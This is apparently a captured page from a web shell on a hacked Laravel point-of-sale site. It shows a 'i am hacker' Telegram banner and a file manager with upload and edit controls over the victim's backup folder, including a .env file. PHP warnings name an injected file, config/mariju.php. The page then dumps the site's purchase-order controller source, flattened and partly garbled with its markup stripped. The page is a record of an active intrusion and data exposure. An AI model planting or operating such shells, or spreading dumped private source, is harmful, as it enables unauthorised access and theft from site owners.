telegram : @iamdarkcomedy i am hacker

path :/home/bisorgosof24/public_html/Backup23122024

upload file:

List of files:

name file size edit permission action
.env2733 KBDecember 22 2024 06:20:070644
404.html58370 KBNovember 20 2024 15:32:220644
502.html58368 KBNovember 20 2024 15:32:220644
Modules-December 11 2024 21:02:560755
README.md4158 KBFebruary 14 2023 12:31:560644
app-December 11 2024 17:57:480755
artisan1686 KBFebruary 14 2023 12:31:560644
bootstrap-December 11 2024 20:23:360755
composer.json3761 KBDecember 11 2024 22:15:000644
composer.lock512048 KBDecember 11 2024 22:13:280644
config-June 15 2025 02:09:360755
database-December 05 2024 20:18:120755
dfsdf dfds fd fds findex.html1420 KBNovember 20 2024 15:32:240644
error_log14932586 KBJuly 18 2025 16:35:130644
firoz-December 23 2024 13:24:460755
index.php1667 KBDecember 14 2024 05:20:360644
lang-December 11 2024 21:02:480755
modules_statuses.json472 KBNovember 20 2024 15:32:240644
mpos-March 31 2025 02:36:310755
package.json226 KBFebruary 14 2023 12:31:560644
phpunit.xml1146 KBFebruary 14 2023 12:31:560644
public-March 31 2025 02:36:310755
resources-December 11 2024 21:10:220755
routes-June 15 2025 02:09:310755
storage-December 11 2024 21:12:440755
tests-December 05 2024 20:18:120755
vendor-December 11 2024 22:13:300755
vite.config.js263 KBFebruary 14 2023 12:31:560644

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 227

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 228

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 229

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 230
productUtil = $productUtil; $this->transactionUtil = $transactionUtil; $this->businessUtil = $businessUtil; $this->purchaseOrderStatuses = [ 'ordered' => [ 'label' => __('lang_v1.ordered'), 'class' => 'bg-info' ], 'partial' => [ 'label' => __('lang_v1.partial'), 'class' => 'bg-yellow' ], 'completed' => [ 'label' => __('restaurant.completed'), 'class' => 'bg-green' ] ]; $this->shipping_status_colors = [ 'ordered' => 'bg-yellow', 'packed' => 'bg-info', 'shipped' => 'bg-navy', 'delivered' => 'bg-green', 'cancelled' => 'bg-red', ]; } public function getPurchaseOrdersDataTable() { $is_admin = $this->businessUtil->is_admin(auth()->user()); $shipping_statuses = $this->transactionUtil->shipping_statuses(); $business_id = request()->session()->get('user.business_id'); $purchase_orders = Transaction::leftJoin('contacts', 'transactions.contact_id', '=', 'contacts.id') ->join( 'business_locations AS BS', 'transactions.location_id', '=', 'BS.id' ) ->leftJoin('purchase_lines as pl', 'transactions.id', '=', 'pl.transaction_id') ->leftJoin('users as u', 'transactions.created_by', '=', 'u.id') ->where('transactions.business_id', $business_id) ->where('transactions.type', 'purchase_order') ->select( 'transactions.id', 'transactions.document', 'transactions.transaction_date', 'transactions.ref_no', 'transactions.status', 'contacts.name', 'contacts.supplier_business_name', 'transactions.final_total', 'BS.name as location_name', 'transactions.pay_term_number', 'transactions.pay_term_type', 'transactions.shipping_status', DB::raw("CONCAT(COALESCE(u.surname, ''),' ',COALESCE(u.first_name, ''),' ',COALESCE(u.last_name,'')) as added_by"), DB::raw('SUM(pl.quantity - pl.po_quantity_purchased) as po_qty_remaining') ) ->groupBy('transactions.id'); $permitted_locations = auth()->user()->permitted_locations(); if ($permitted_locations != 'all') { $purchase_orders->whereIn('transactions.location_id', $permitted_locations); } if (!empty(request()->supplier_id)) { $purchase_orders->where('contacts.id', request()->supplier_id); } if (!empty(request()->location_id)) { $purchase_orders->where('transactions.location_id', request()->location_id); } if (!empty(request()->status)) { $purchase_orders->where('transactions.status', request()->status); } if (!empty(request()->from_dashboard)) { $purchase_orders->where('transactions.status', '!=', 'completed') ->orHavingRaw('po_qty_remaining > 0'); } if (!empty(request()->start_date) && !empty(request()->end_date)) { $start = request()->start_date; $end = request()->end_date; $purchase_orders->whereDate('transactions.transaction_date', '>=', $start) ->whereDate('transactions.transaction_date', '<=', $end); } if (!auth()->user()->can('purchase_order.view_all') && auth()->user()->can('purchase_order.view_own')) { $purchase_orders->where('transactions.created_by', request()->session()->get('user.id')); } if (!empty(request()->input('shipping_status'))) { $purchase_orders->where('transactions.shipping_status', request()->input('shipping_status')); } return DataTables::of($purchase_orders) ->addColumn('action', function ($row) use ($is_admin) { $html = '
'; return $html; }) ->removeColumn('id') ->editColumn( 'final_total', '@format_currency($final_total)' ) ->editColumn('transaction_date', '{{@format_datetime($transaction_date)}}') ->editColumn('po_qty_remaining', '{{@format_quantity($po_qty_remaining)}}') ->editColumn('name', '@if(!empty($supplier_business_name)) {{$supplier_business_name}},
@endif {{$name}}') ->editColumn('status', function ($row) use ($is_admin) { $status = ''; $order_statuses = $this->purchaseOrderStatuses; if (array_key_exists($row->status, $order_statuses)) { if ($is_admin && $row->status != 'completed') { $status = ' $row->id]) . '">' . $order_statuses[$row->status]['label'] . ''; } else { $status = '' . $order_statuses[$row->status]['label'] . ''; } } return $status; }) ->editColumn('shipping_status', function ($row) use ($shipping_statuses) { $status_color = !empty($this->shipping_status_colors[$row->shipping_status]) ? $this->shipping_status_colors[$row->shipping_status] : 'bg-gray'; $status = !empty($row->shipping_status) ? '' . $shipping_statuses[$row->shipping_status] . '' : ''; return $status; }) ->setRowAttr([ 'data-href' => function ($row) { return action('PurchaseOrderController@show', [$row->id]); } ]) ->rawColumns(['final_total', 'action', 'ref_no', 'name', 'status', 'shipping_status']) ->make(true); } public function getPurchaseOrderTransactionsDataTable() { $is_admin = $this->businessUtil->is_admin(auth()->user()); $shipping_statuses = $this->transactionUtil->shipping_statuses(); $business_id = request()->session()->get('user.business_id'); $purchase_orders = Transaction::with('journal_entry') ->leftJoin('contacts', 'transactions.contact_id', '=', 'contacts.id') ->join( 'business_locations AS BS', 'transactions.location_id', '=', 'BS.id' ) ->leftJoin('purchase_lines as pl', 'transactions.id', '=', 'pl.transaction_id') ->leftJoin('users as u', 'transactions.created_by', '=', 'u.id') ->where('transactions.business_id', $business_id) ->where('transactions.type', 'purchase_order') ->select( 'transactions.id', 'transactions.journal_entry_id', 'transactions.document', 'transactions.transaction_date', 'transactions.ref_no', 'transactions.status', 'contacts.name', 'contacts.supplier_business_name', 'transactions.final_total', 'BS.name as location_name', 'transactions.pay_term_number', 'transactions.pay_term_type', 'transactions.shipping_status', DB::raw("CONCAT(COALESCE(u.surname, ''),' ',COALESCE(u.first_name, ''),' ',COALESCE(u.last_name,'')) as added_by"), DB::raw('SUM(pl.quantity - pl.po_quantity_purchased) as po_qty_remaining') ) ->groupBy('transactions.id'); $permitted_locations = auth()->user()->permitted_locations(); if ($permitted_locations != 'all') { $purchase_orders->whereIn('transactions.location_id', $permitted_locations); } if (!empty(request()->supplier_id)) { $purchase_orders->where('contacts.id', request()->supplier_id); } if (!empty(request()->location_id)) { $purchase_orders->where('transactions.location_id', request()->location_id); } if (!empty(request()->status)) { $purchase_orders->where('transactions.status', request()->status); } if (!empty(request()->from_dashboard)) { $purchase_orders->where('transactions.status', '!=', 'completed') ->orHavingRaw('po_qty_remaining > 0'); } if (!empty(request()->start_date) && !empty(request()->end_date)) { $start = request()->start_date; $end = request()->end_date; $purchase_orders->whereDate('transactions.transaction_date', '>=', $start) ->whereDate('transactions.transaction_date', '<=', $end); } if (!auth()->user()->can('purchase_order.view_all') && auth()->user()->can('purchase_order.view_own')) { $purchase_orders->where('transactions.created_by', request()->session()->get('user.id')); } if (!empty(request()->input('shipping_status'))) { $purchase_orders->where('transactions.shipping_status', request()->input('shipping_status')); } return DataTables::of($purchase_orders) ->addColumn('mapping', function ($row) { if (!empty($row->journal_entry_id)) { return '' . trans('accounting::general.has_been_mapped') . ''; } else { return ''; } }) ->addColumn('chart_of_account', function ($row) { if (!empty($row->journal_entry_id)) { return 'journal_entry->chart_of_account->id . "/show") . '"> ' . $row->journal_entry->chart_of_account->name . ' '; } else { return '' . trans('accounting::general.has_not_been_mapped') . ''; } }) ->removeColumn('id') ->editColumn( 'final_total', '@format_currency($final_total)' ) ->editColumn('transaction_date', '{{@format_datetime($transaction_date)}}') ->editColumn('po_qty_remaining', '{{@format_quantity($po_qty_remaining)}}') ->editColumn('name', '@if(!empty($supplier_business_name)) {{$supplier_business_name}},
@endif {{$name}}') ->editColumn('status', function ($row) use ($is_admin) { $status = ''; $order_statuses = $this->purchaseOrderStatuses; if (array_key_exists($row->status, $order_statuses)) { if ($is_admin && $row->status != 'completed') { $status = ' $row->id]) . '">' . $order_statuses[$row->status]['label'] . ''; } else { $status = '' . $order_statuses[$row->status]['label'] . ''; } } return $status; }) ->editColumn('shipping_status', function ($row) use ($shipping_statuses) { $status_color = !empty($this->shipping_status_colors[$row->shipping_status]) ? $this->shipping_status_colors[$row->shipping_status] : 'bg-gray'; $status = !empty($row->shipping_status) ? '' . $shipping_statuses[$row->shipping_status] . '' : ''; return $status; }) ->setRowAttr([ 'data-href' => function ($row) { return action('PurchaseOrderController@show', [$row->id]); } ]) ->rawColumns(['final_total', 'mapping', 'ref_no', 'name', 'status', 'shipping_status', 'chart_of_account']) ->make(true); } public function getPurchaseOrdersData() { $is_admin = $this->businessUtil->is_admin(auth()->user()); $shipping_statuses = $this->transactionUtil->shipping_statuses(); $business_id = request()->session()->get('user.business_id'); $business_locations = BusinessLocation::forDropdown($business_id); $suppliers = Contact::suppliersDropdown($business_id, false); $purchaseOrderStatuses = []; foreach ($this->purchaseOrderStatuses as $key => $value) { $purchaseOrderStatuses[$key] = $value['label']; } return compact('business_locations', 'suppliers', 'purchaseOrderStatuses', 'shipping_statuses'); } public function getPurchaseDataTable() { $business_id = request()->session()->get('user.business_id'); $purchases = $this->getListPurchases($business_id); $permitted_locations = auth()->user()->permitted_locations(); if ($permitted_locations != 'all') { $purchases->whereIn('transactions.location_id', $permitted_locations); } if (!empty(request()->supplier_id)) { $purchases->where('contacts.id', request()->supplier_id); } if (!empty(request()->location_id)) { $purchases->where('transactions.location_id', request()->location_id); } if (!empty(request()->input('payment_status')) && request()->input('payment_status') != 'overdue') { $purchases->where('transactions.payment_status', request()->input('payment_status')); } elseif (request()->input('payment_status') == 'overdue') { $purchases->whereIn('transactions.payment_status', ['due', 'partial']) ->whereNotNull('transactions.pay_term_number') ->whereNotNull('transactions.pay_term_type') ->whereRaw("IF(transactions.pay_term_type='days', DATE_ADD(transactions.transaction_date, INTERVAL transactions.pay_term_number DAY) < CURDATE(), DATE_ADD(transactions.transaction_date, INTERVAL transactions.pay_term_number MONTH) < CURDATE())"); } if (!empty(request()->status)) { $purchases->where('transactions.status', request()->status); } if (!empty(request()->start_date) && !empty(request()->end_date)) { $start = request()->start_date; $end = request()->end_date; $purchases->whereDate('transactions.transaction_date', '>=', $start) ->whereDate('transactions.transaction_date', '<=', $end); } if (!auth()->user()->can('purchase.view') && auth()->user()->can('view_own_purchase')) { $purchases->where('transactions.created_by', request()->session()->get('user.id')); } return Datatables::of($purchases) ->addColumn('action', function ($row) { $html = '
'; return $html; }) ->removeColumn('id') ->editColumn('ref_no', function ($row) { return !empty($row->return_exists) ? $row->ref_no . ' ' : $row->ref_no; }) ->editColumn( 'final_total', '@format_currency($final_total)' ) ->editColumn('transaction_date', '{{@format_datetime($transaction_date)}}') ->editColumn('name', '@if(!empty($supplier_business_name)) {{$supplier_business_name}},
@endif {{$name}}') ->editColumn( 'status', 'user()->can("purchase.update") || auth()->user()->can("purchase.update_status")) class="update_status no-print" data-purchase_id="{{$id}}" data-status="{{$status}}" @endif>{{__(\'lang_v1.\' . $status)}} ' ) ->editColumn( 'payment_status', function ($row) { $payment_status = Transaction::getPaymentStatus($row); return (string) view('sell.partials.payment_status', ['payment_status' => $payment_status, 'id' => $row->id, 'for_purchase' => true]); } ) ->addColumn('payment_due', function ($row) { $due = $row->final_total - $row->amount_paid; $due_html = '' . __('lang_v1.purchase') . ': ' . $this->transactionUtil->num_f($due, true) . ''; if (!empty($row->return_exists)) { $return_due = $row->amount_return - $row->return_paid; $due_html .= '
' . __('lang_v1.purchase_return') . ': return_transaction_id]) . '" class="view_purchase_return_payment_modal">' . $this->transactionUtil->num_f($return_due, true) . ''; } return $due_html; }) ->setRowAttr([ 'data-href' => function ($row) { if (auth()->user()->can("purchase.view")) { return action('PurchaseController@show', [$row->id]); } else { return ''; } } ]) ->rawColumns(['final_total', 'action', 'payment_due', 'payment_status', 'status', 'ref_no', 'name']) ->make(true); } public function getPurchaseTransactionsDataTable() { $business_id = request()->session()->get('user.business_id'); $purchases = $this->getListPurchases($business_id); $permitted_locations = auth()->user()->permitted_locations(); if ($permitted_locations != 'all') { $purchases->whereIn('transactions.location_id', $permitted_locations); } if (!empty(request()->supplier_id)) { $purchases->where('contacts.id', request()->supplier_id); } if (!empty(request()->location_id)) { $purchases->where('transactions.location_id', request()->location_id); } if (!empty(request()->input('payment_status')) && request()->input('payment_status') != 'overdue') { $purchases->where('transactions.payment_status', request()->input('payment_status')); } elseif (request()->input('payment_status') == 'overdue') { $purchases->whereIn('transactions.payment_status', ['due', 'partial']) ->whereNotNull('transactions.pay_term_number') ->whereNotNull('transactions.pay_term_type') ->whereRaw("IF(transactions.pay_term_type='days', DATE_ADD(transactions.transaction_date, INTERVAL transactions.pay_term_number DAY) < CURDATE(), DATE_ADD(transactions.transaction_date, INTERVAL transactions.pay_term_number MONTH) < CURDATE())"); } if (!empty(request()->status)) { $purchases->where('transactions.status', request()->status); } if (!empty(request()->start_date) && !empty(request()->end_date)) { $start = request()->start_date; $end = request()->end_date; $purchases->whereDate('transactions.transaction_date', '>=', $start) ->whereDate('transactions.transaction_date', '<=', $end); } if (!auth()->user()->can('purchase.view') && auth()->user()->can('view_own_purchase')) { $purchases->where('transactions.created_by', request()->session()->get('user.id')); } return Datatables::of($purchases) ->addColumn('mapping', function ($row) { if (!empty($row->journal_entry_id)) { return '' . trans('accounting::general.has_been_mapped') . ''; } else { return ''; } }) ->addColumn('chart_of_account', function ($row) { if (!empty($row->journal_entry_id)) { return 'journal_entry->chart_of_account->id . "/show") . '"> ' . $row->journal_entry->chart_of_account->name . ' '; } else { return '' . trans('accounting::general.has_not_been_mapped') . ''; } }) ->removeColumn('id') ->editColumn('ref_no', function ($row) { return !empty($row->return_exists) ? $row->ref_no . ' ' : $row->ref_no; }) ->editColumn( 'final_total', '@format_currency($final_total)' ) ->editColumn('transaction_date', '{{@format_datetime($transaction_date)}}') ->editColumn('name', '@if(!empty($supplier_business_name)) {{$supplier_business_name}},
@endif {{$name}}') ->editColumn( 'status', 'user()->can("purchase.update") || auth()->user()->can("purchase.update_status")) class="update_status no-print" data-purchase_id="{{$id}}" data-status="{{$status}}" @endif>{{__(\'lang_v1.\' . $status)}} ' ) ->editColumn( 'payment_status', function ($row) { $payment_status = Transaction::getPaymentStatus($row); return (string) view('sell.partials.payment_status', ['payment_status' => $payment_status, 'id' => $row->id, 'for_purchase' => true]); } ) ->addColumn('payment_due', function ($row) { $due = $row->final_total - $row->amount_paid; $due_html = '' . __('lang_v1.purchase') . ': ' . $this->transactionUtil->num_f($due, true) . ''; if (!empty($row->return_exists)) { $return_due = $row->amount_return - $row->return_paid; $due_html .= '
' . __('lang_v1.purchase_return') . ': return_transaction_id]) . '" class="view_purchase_return_payment_modal">' . $this->transactionUtil->num_f($return_due, true) . ''; } return $due_html; }) ->setRowAttr([ 'data-href' => function ($row) { if (auth()->user()->can("purchase.view")) { return action('PurchaseController@show', [$row->id]); } else { return ''; } } ]) ->rawColumns(['final_total', 'mapping', 'payment_due', 'payment_status', 'status', 'ref_no', 'name', 'chart_of_account']) ->make(true); } public function getPurchaseData() { $business_id = request()->session()->get('user.business_id'); $business_locations = BusinessLocation::forDropdown($business_id); $suppliers = Contact::suppliersDropdown($business_id, false); $orderStatuses = $this->productUtil->orderStatuses(); return compact('business_locations', 'suppliers', 'orderStatuses'); } /** * common function to get * list purchase * @param int $business_id * * @return object */ public function getListPurchases($business_id) { $purchases = Transaction::leftJoin('contacts', 'transactions.contact_id', '=', 'contacts.id') ->join( 'business_locations AS BS', 'transactions.location_id', '=', 'BS.id' ) ->leftJoin( 'transaction_payments AS TP', 'transactions.id', '=', 'TP.transaction_id' ) ->leftJoin( 'transactions AS PR', 'transactions.id', '=', 'PR.return_parent_id' ) ->leftJoin('users as u', 'transactions.created_by', '=', 'u.id') ->where('transactions.business_id', $business_id) ->where('transactions.type', 'purchase') ->select( 'transactions.id', 'transactions.journal_entry_id', 'transactions.document', 'transactions.transaction_date', 'transactions.ref_no', 'contacts.name', 'contacts.supplier_business_name', 'transactions.status', 'transactions.payment_status', 'transactions.final_total', 'BS.name as location_name', 'transactions.pay_term_number', 'transactions.pay_term_type', 'PR.id as return_transaction_id', DB::raw('SUM(TP.amount) as amount_paid'), DB::raw('(SELECT SUM(TP2.amount) FROM transaction_payments AS TP2 WHERE TP2.transaction_id=PR.id ) as return_paid'), DB::raw('COUNT(PR.id) as return_exists'), DB::raw('COALESCE(PR.final_total, 0) as amount_return'), DB::raw("CONCAT(COALESCE(u.surname, ''),' ',COALESCE(u.first_name, ''),' ',COALESCE(u.last_name,'')) as added_by") ) ->groupBy('transactions.id'); return $purchases; } }